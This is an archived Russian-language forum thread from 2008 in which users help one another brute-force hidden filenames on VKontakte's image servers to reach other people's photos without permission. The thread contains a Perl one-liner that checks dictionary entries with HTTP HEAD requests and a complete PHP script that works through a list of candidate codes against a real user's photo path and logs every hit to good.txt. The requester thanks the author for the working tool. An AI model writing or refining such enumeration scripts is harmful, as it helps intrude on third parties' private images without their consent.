Просмотр полной версии : Помогите с брутом!
Хочу добраться до ресурсов сайта,а в программировании не очень :( . Брут не логин/пароль,а перебор через строку заголовка. Т.е. http://cs.какой-нить сайт.ru/12345/12345/x_'это надо брутить'.jpg . Чтоб,если есть ресурс,он строку заголовка записывал в файл,если нет страницы,брутил дальше. Помгите написать,pls!!
То что надо брутить- 9 значный код,который содержит цифры и маленькие буквы латинского регистра.
дай сайт который нужно брутить. нужно сравнить строки ответа сервера если файл присутсвует и отсутсвует. точнее http://cs.какой-нить сайт.ru/12345/12345/x_присутсвующий файл.jpg
.:EnoT:.
10.04.2008, 23:27
я знаю что ты хочешь брутить, фотки контакта))
Сам щас собираюсь сделать такую фень :)
Совершенноверно:)) Контакт опять покоя не дает. Только там после cs еще числа различные стоят,надо будет как задаваемый параметр делать.
.:EnoT:.
10.04.2008, 23:39
Лично у меня сначала идея была банальна...брать md5-хеш картинки, после чего брутить код и брать тоже md5 картинки и сравнивать.....только сразу понял что хеши будут разные, т.к. картинки разного размера. Поэтому щас думаю над распознаванием картинок...
в смысле распознаванием? т.е если есть картинка,то заголовок сохраняем?
да. дай пример такой картинки
А можно сделать наоборот? Т.е, не картинку палить,а что-то вроде 'страница недоступна'?
Пример картинки: http://cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg
Pernat1y
11.04.2008, 00:07
а не проще в том-же DownloadMaster добавить группу закачек по маске?
хы странно что то на контакт сокет не хочет открывать
<?php
$fp = fsockopen("www.cs62.vkontakte.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET http://www.cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg HTTP/1.1\r\n";
$out .= "Host: www.yandex.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
щас попробую через fopen
-Hormold-
11.04.2008, 00:23
$out .= "Host: www.yandex.ru\r\n";
улыбнуло =)
demonoid
11.04.2008, 00:58
perl -MLWP::Simple -ne "chomp;print if head(\"http://cs62.vkontakte.ru/u2346858/4564087/$_.jpg\");" dict.txt
dict.txt
x_a12aa5f3f9
a_011fyjf3f8
x_a12fa5f3f2
b_112ga5f3f7
c_215ga5fas6
C:\>perl -MLWP::Simple -ne "chomp;print if head(\"http://....jpg\");" dict.txt
x_a12fa5f3f2
спешил ..=)
держи
<?php
$spisok = "spisok.txt";
$zergood = 'good.txt';
for ($doscriot=0;$doscriot<=count($contents);$doscriot++)
{
$spisok = "spisok.txt";
$handle = fopen($spisok,"r");
$contents = fread($handle,filesize($spisok));
fclose($handle);
$contents = explode("\n",$contents);
$resurs=trim($contents[$doscriot]);
$fayl="http://cs62.vkontakte.ru/u2346858/4564087/x_".$resurs.".jpg";
if (!$udacha = fopen($fayl, "rb")) {
echo "файла $fayl нет";
}
else
{
$somecontent = "$fayl\n";
$udacha = fopen($zergood, 'a');
fwrite($udacha, $somecontent);
fclose($udacha);
}
}
?>
............................
spisok.txt список комббинаций по типу
http://cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg
тоесть в тестовике должны быть в столбик омбинации например
a12fa5f3f2
b323eg23
j34h23432
итд
.............................
good.txt туда будут записываться удачные комбинации права на файл 777
................................
и ещё недочёт скрипт будет писать ошибку при неудачнок комбинации. забей на это. запускай страницу со скриптом и закрывай. ложись спать. как весь список будет перебручен результаты запишет в файл good.txt
$out .= "Host: www.yandex.ru\r\n";
улыбнуло =)
хых с кем не бывает)) к стати и с хостом www.cs62.vkontakte.ru сокет не хочет открываться. странно
Zet36 огромное спасибо!!! Оч.сильно выручил!!!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot